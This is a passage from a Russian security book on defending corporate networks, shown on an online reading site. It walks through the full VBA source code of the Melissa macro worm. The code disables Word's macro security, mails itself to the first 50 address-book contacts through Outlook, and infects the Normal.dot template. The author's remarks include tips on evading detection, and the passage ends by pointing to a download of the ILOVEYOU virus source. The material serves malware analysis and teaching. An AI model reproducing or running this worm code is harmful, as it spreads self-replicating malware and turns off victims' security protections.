Чтение онлайн

на главную - закладки

Жанры

Защита от хакеров корпоративных сетей

авторов Коллектив

Шрифт:

Червь Melissa имеет достаточно простой код небольшого размера. На его примере мы покажем, насколько простыми могут быть черви:

Private Sub Document OpenOn Error Resume Next

Червь Melissa инфицирует макрос Document_Open в файлах приложения Microsoft Word. Ведь при открытии файла Word выполняется любой код, помещенный в процедуру Document_Open. То есть для распространения червя Melissa требуется, чтобы пользователь открыл инфицированный документ, присланный по электронной почте.

If System.PrivateProfileString(“”,

“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,

“Level”) <> “”

Then

CommandBars(“ Macro” ).Controls(“ Security...” ).Enabled = False

System.PrivateProfileString(“”,

“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,

“Level”) = 1&

Else

CommandBars(“Tools”).Controls(“Macro”).Enabled = False

Options.ConfirmConversions = (1 – 1):

Options.VirusProtection = (1 – 1):

Options.SaveNormalPrompt = (1 – 1)

End If

В

этот момент червь Melissa делает умный ход, отключая проверку безопасности макросов в Microsoft Word. В итоге конечный пользователь не получает никаких сигналов о том, что в системе что-то происходит, – это позволяет червю беспрепятственно продолжить свою работу.

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject(“Outlook.Application”)

Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)

Аббревиатура MAPI расшифровывается как Messaging Application Programming Interface – интерфейс прикладного программирования. Этот интерфейс представляет собой основной способ взаимодействия Windows-приложений с различными функциями электронной почты. Обычно в качестве почтовой программы используется Microsoft Outlook, хотя существуют и другие возможности.

If System.PrivateProfileString(“”,

“HKEY_CURRENT_USER\Software\Microsoft\Office\”,

“Melissa?”) <> “... by Kwyjibo” Then

Червь Melissa использует механизм исключения повторного заражения. В данном случае этот механизм состоит в применении определенного ключа Registry в качестве семафора. Если ключ не задан, значит, червь Melissa еще не заразил этот компьютер, поэтому он переходит к выполнению вредоносного кода.

If UngaDasOutlook = “Outlook” Then

DasMapiName.Logon “profile”, “password”

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo =

AddyBook.AddressEntries.Count

Next oo

Затем Melissa проверяет, используется ли в качестве почтовой программы приложение Outlook. В случае положительного результата проверки вирус создает список первых 50 адресов, найденных в адресной книге.

BreakUmOffASlice.Subject = “Important Message From ” &

Application .UserName

BreakUmOffASlice.Body = “Here is that document you asked for

... don’t show anyone else ;-)”

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

А вот код, рассылающий сообщения по ранее найденным 50 адресам. Как легко заметить, сообщения персонифицированы, то есть в них в качестве отправителя фигурирует хозяин зараженного компьютера. Обратите внимание, что Melissa просто присоединяет себя к сообщению, используя всего одну строку. Затем следует команда отправки почты. Могли ли вы подозревать, что это происходит настолько просто?

Peep = “”

Next y

DasMapiName.Logoff

End If

System.PrivateProfileString(“”, “HKEY_CURRENT_USER\Software

\Microsoft\Office\”, “Melissa?”) = “... by Kwyjibo”

End If

Завершив отправку почты, Mel issa создает запись в Registry, чтобы гарантировать завершение рассылки сообщений. Именно эту запись ищет вирус, попав в систему.

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> “Melissa” Then

If ADCL > 0 Then

ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = “Melissa”

DoAD = True

End If

If NTI1.Name <> “Melissa” Then

If NTCL > 0 Then

NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = “Melissa”

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

Затем Melissa

проверяет, инфицирован ли активный документ и его шаблон (normal.dot); в случае положительного результата проверки происходит переход к коду завершения (GoTo CYA). Если же результат отрицательный, червь заражает эти файлы:

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = “”

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString (“Private Sub

Document_Close”)

Do While ADI1.CodeModule.Lines(BGN, 1) <> “”

ToInfect.CodeModule.InsertLines BGN,

ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = “”

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString (“Private Sub

Document_Open”)

Do While NTI1.CodeModule.Lines(BGN, 1) <> “”

ToInfect.CodeModule.InsertLines BGN,

NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

Легко понять, как червь Melissa влияет на функцию Document_Open активного документа. Также видно, что изменения внесены и в функцию шаблона Document_Close. Это означает, что процесс сохранения или закрытия любого документа приведет к активизации червя.

CYA:

If NTCL <> 0 And ADCL = 0 And

(InStr(1, ActiveDocument.Name, “Document”) = False) Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, “Document”) <> False)

Then ActiveDocument.Saved = True

End If

Действие червя заканчивается сохранением активного документа. При этом проверяется, была ли запомнена копия червя.

‘WORD/Melissa written by Kwyjibo

‘ Works in both Word 2000 and Word 97

‘ Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

‘Word -> Email | Word 97 <—> Word 2000 ... it”s a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText “ Twentytwo

points, plus triple-word-score, plus fifty points for

using all my letters. Game’s over. I’m outta here.”

End Sub

Затем происходит вещь, которая выглядит откровенно глупо. Появляются комментарии автора червя. Почему это глупо? Потому что по этой строке можно осуществлять поиск. Если антивирусная программа увидит подобное в присоединенном к сообщению фрагменте, с большой вероятностью червь Melissa будет распознан. Несмотря на это, многие создатели вирусов оставляют свои автографы внутри кода, невзирая на то что подобный ход упрощает обнаружение их детища.

Заключительная часть кода также представляет собой не очень умный ход. Если оказывается, что на момент выполнения этого куска текущее число месяца равно текущей минуте, вирус выводит на экран сообщение. Не стоит делать подобных вещей, если вы хотите остаться незамеченными, даже с учетом того, что такие события-триггеры происходят редко.

К сожалению, код вируса I love you имеет большой объем, поэтому мы не будем приводить полный сценарий его работы. Впрочем, вас это не должно расстраивать, так как полный код можно загрузить со страницы www.packetstormsecurity.org/viral-db/love-letter-source.txt.

Интересной особенностью вируса I love you является его способность случайным образом заменять заданную в браузере пользователя домашнюю страницу одним из четырех адресов, указанных в следующем фрагменте кода:

Поделиться:
Популярные книги

Барон Дубов

Карелин Сергей Витальевич
1. Его Дубейшество
Фантастика:
юмористическое фэнтези
аниме
сказочная фантастика
фэнтези
5.00
рейтинг книги
Барон Дубов

Я все еще барон

Дрейк Сириус
4. Дорогой барон!
Фантастика:
боевая фантастика
5.00
рейтинг книги
Я все еще барон

Полковник Гуров. Компиляция (сборник)

Макеев Алексей Викторович
Полковник Гуров
Детективы:
криминальные детективы
шпионские детективы
полицейские детективы
боевики
крутой детектив
5.00
рейтинг книги
Полковник Гуров. Компиляция (сборник)

Черный Маг Императора 6

Герда Александр
6. Черный маг императора
Фантастика:
юмористическое фэнтези
попаданцы
аниме
7.00
рейтинг книги
Черный Маг Императора 6

Имя нам Легион. Том 7

Дорничев Дмитрий
7. Меж двух миров
Фантастика:
боевая фантастика
рпг
аниме
5.00
рейтинг книги
Имя нам Легион. Том 7

Последний реанорец. Том III

Павлов Вел
2. Высшая Речь
Фантастика:
фэнтези
попаданцы
5.25
рейтинг книги
Последний реанорец. Том III

Воронцов. Перезагрузка

Тарасов Ник
1. Воронцов. Перезагрузка
Фантастика:
попаданцы
альтернативная история
фантастика: прочее
5.00
рейтинг книги
Воронцов. Перезагрузка

Звездная Кровь. Изгой II

Елисеев Алексей Станиславович
2. Звездная Кровь. Изгой
Фантастика:
боевая фантастика
попаданцы
технофэнтези
рпг
5.00
рейтинг книги
Звездная Кровь. Изгой II

Убивать чтобы жить 6

Бор Жорж
6. УЧЖ
Фантастика:
боевая фантастика
космическая фантастика
рпг
5.00
рейтинг книги
Убивать чтобы жить 6

Черный дембель. Часть 2

Федин Андрей Анатольевич
2. Черный дембель
Фантастика:
попаданцы
альтернативная история
4.25
рейтинг книги
Черный дембель. Часть 2

Бастард Императора. Том 13

Орлов Андрей Юрьевич
13. Бастард Императора
Фантастика:
попаданцы
аниме
фэнтези
фантастика: прочее
5.00
рейтинг книги
Бастард Императора. Том 13

Сержант. Назад в СССР. Книга 4

Гаусс Максим
4. Второй шанс
Фантастика:
попаданцы
альтернативная история
5.00
рейтинг книги
Сержант. Назад в СССР. Книга 4

Второй кощей

Билик Дмитрий Александрович
8. Бедовый
Фантастика:
юмористическое фэнтези
городское фэнтези
мистика
5.00
рейтинг книги
Второй кощей

Идеальный мир для Лекаря 7

Сапфир Олег
7. Лекарь
Фантастика:
юмористическая фантастика
попаданцы
аниме
5.00
рейтинг книги
Идеальный мир для Лекаря 7